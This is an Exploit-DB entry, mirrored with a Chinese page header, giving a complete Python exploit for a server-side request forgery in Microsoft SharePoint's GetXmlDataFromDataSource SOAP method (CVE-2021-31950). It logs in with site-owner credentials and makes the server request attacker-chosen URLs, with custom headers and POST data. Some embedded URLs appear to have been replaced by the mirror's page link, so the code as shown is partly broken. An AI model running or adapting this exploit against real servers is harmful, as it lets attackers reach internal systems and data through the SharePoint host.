Microsoft SharePoint Server 16.0.10372.20060 – ‘GetXmlDataFromDataSource’ Server-Side Request Forgery (SSRF)

  • 作者: Alex Birnberg
    日期: 2021-06-11
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/49982/
  • # Exploit Title: Microsoft SharePoint Server 16.0.10372.20060 - 'GetXmlDataFromDataSource' Server-Side Request Forgery (SSRF)
    # Date: 09 Jun 2021
    # Exploit Author: Alex Birnberg
    # Software Link: https://www.microsoft.com/en-us/download/details.aspx?id=57462
    # Version: 16.0.10372.20060
    # Tested on: Windows Server 2019
    # CVE : CVE-2021-31950
    
    #!/usr/bin/env python3
    
    import html
    import random
    import string
    import xml.sax.saxutils
    import textwrap
    import requests
    import argparse
    import xml.etree.ElementTree as ET
    from requests_ntlm2 import HttpNtlmAuth
    from urllib.parse import urlencode, urlparse
    
    class Exploit:
    def __init__(self, args):
    o = urlparse(args.url)
    self.url = args.url
    self.service = o.path
    self.username = args.username
    self.password = args.password
    self.target = args.target
    self.headers = args.header 
    self.method = args.request
    self.data = args.data
    self.content_type = args.content_type
    self.s = requests.Session()
    self.s.auth = HttpNtlmAuth(self.username, self.password)
    self.s.headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36'
    }
    self.s.proxies = {
    'http': 'http://127.0.0.1:8080'
    }
    
    def trigger(self):
    headers = ''
    if self.headers:
    for header in self.headers:
    header = list(map(lambda x: x.strip(), header.split(':')))
    if len(header) != 2:
    continue
    headers += '<dataurl:Header name="{}">{}</dataurl:Header>'.format(header[0], header[1])
    method = ''
    bypass_local = ''
    if self.method and self.method.upper() == 'POST':
    method = 'HTTP Post'
    else:
    method = 'HTTP Get'
    bypass_local = '<dataurl:Arguments><dataurl:Argument Name="{0}">{0}</dataurl:Argument></dataurl:Arguments>'.format(''.join(random.choice(string.ascii_letters) for i in range(16)))
    content_type = ''
    if self.content_type and len(self.content_type):
    content_type = '<dataurl:ContentType>{}</dataurl:ContentType>'.format(self.content_type)
    data = ''
    if self.data and len(self.data):
    data = '<dataurl:PostData Encoding="Decode">{}</dataurl:PostData>'.format(html.escape(self.data).encode('ascii', 'xmlcharrefreplace').decode('utf-8'))
    query_xml = textwrap.dedent('''\
    <udc:DataSource xmlns:udc="http://schemas.microsoft.com/data/udc" xmlns:udcs="http://schemas.microsoft.com/data/udc/soap" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dsp="http://schemas.microsoft.com/sharepoint/dsp" xmlns:dataurl="http://schemas.microsoft.com/sharepoint/dsp/xmlurl">
    <udc:ConnectionInfo>
    <udcs:Location href="https://www.exploit-db.com/exploits/49982/">XMLURLDataAdapter</udcs:Location>
    <soap:Header>
    <dsp:versions>
    </dsp:versions>
    <dsp:request method="query" />
    </soap:Header>
    <soap:Body>
    <dsp:queryRequest>
    <dsp:ptQuery>
    <dataurl:Headers>
    <dataurl:Url href="https://www.exploit-db.com/exploits/49982/{}" Method="{}"/>
    {}
    {}
    {}
    {}
    </dataurl:Headers>
    </dsp:ptQuery>
    </dsp:queryRequest>
    </soap:Body>
    </udc:ConnectionInfo>
    </udc:DataSource>'''.format(self.target, method, bypass_local, headers, data, content_type))
    query_xml = xml.sax.saxutils.escape(query_xml.replace('\r', '').replace('\n', ''))	
    data = textwrap.dedent('''\
    <?xml version="1.0" encoding="utf-8"?>
    <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
    <GetXmlDataFromDataSource xmlns="http://microsoft.com/sharepoint/webpartpages">
    <queryXml>{}</queryXml>
    </GetXmlDataFromDataSource>
    </soap:Body>
    </soap:Envelope>'''.format(query_xml))
    r = self.soap('webpartpages', 'http://microsoft.com/sharepoint/webpartpages/GetXmlDataFromDataSource', data)
    root = ET.fromstring(r.content)
    try:
    namespaces = {
    'soap': 'http://schemas.xmlsoap.org/soap/envelope/'
    }
    value = list(root.find('soap:Body', namespaces).iter())[2] 
    if value.tag == 'faultcode':
    print('Error:', list(root.find('soap:Body', namespaces).iter())[3].text)
    else:
    print(value.text)
    except:
    print(r.content)
    pass
    
    def soap(self, service, action, data):
    headers = {
    'SOAPAction': '"{}"'.format(action),
    'Host': 'localhost',
    'Content-Type': 'text/xml; charset=utf-8',
    }
    return self.s.post('{}/_vti_bin/{}.asmx'.format(self.url, service), headers=headers, data=data)
    
    if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('--url', help='Base URL', required=True, metavar='<url>')
    parser.add_argument('--username', help='Username of team site owner', required=True, metavar='<username>')
    parser.add_argument('--password', help='Password of team site owner', required=True, metavar='<password>')
    parser.add_argument('--target', help='Target URL to work with', required=True, metavar='<target>')
    parser.add_argument('-H', '--header', help='Pass custom header(s) to server', action='append', metavar='<header>')
    parser.add_argument('-X', '--request', help='Specify request command to use', metavar='<command>')
    parser.add_argument('-d', '--data', help='HTTP POST data', metavar='<data>') 
    parser.add_argument('-c', '--content-type', help='Value for the "Content-Type" header', metavar='<type>')
    exploit = Exploit(parser.parse_args())
    exploit.trigger()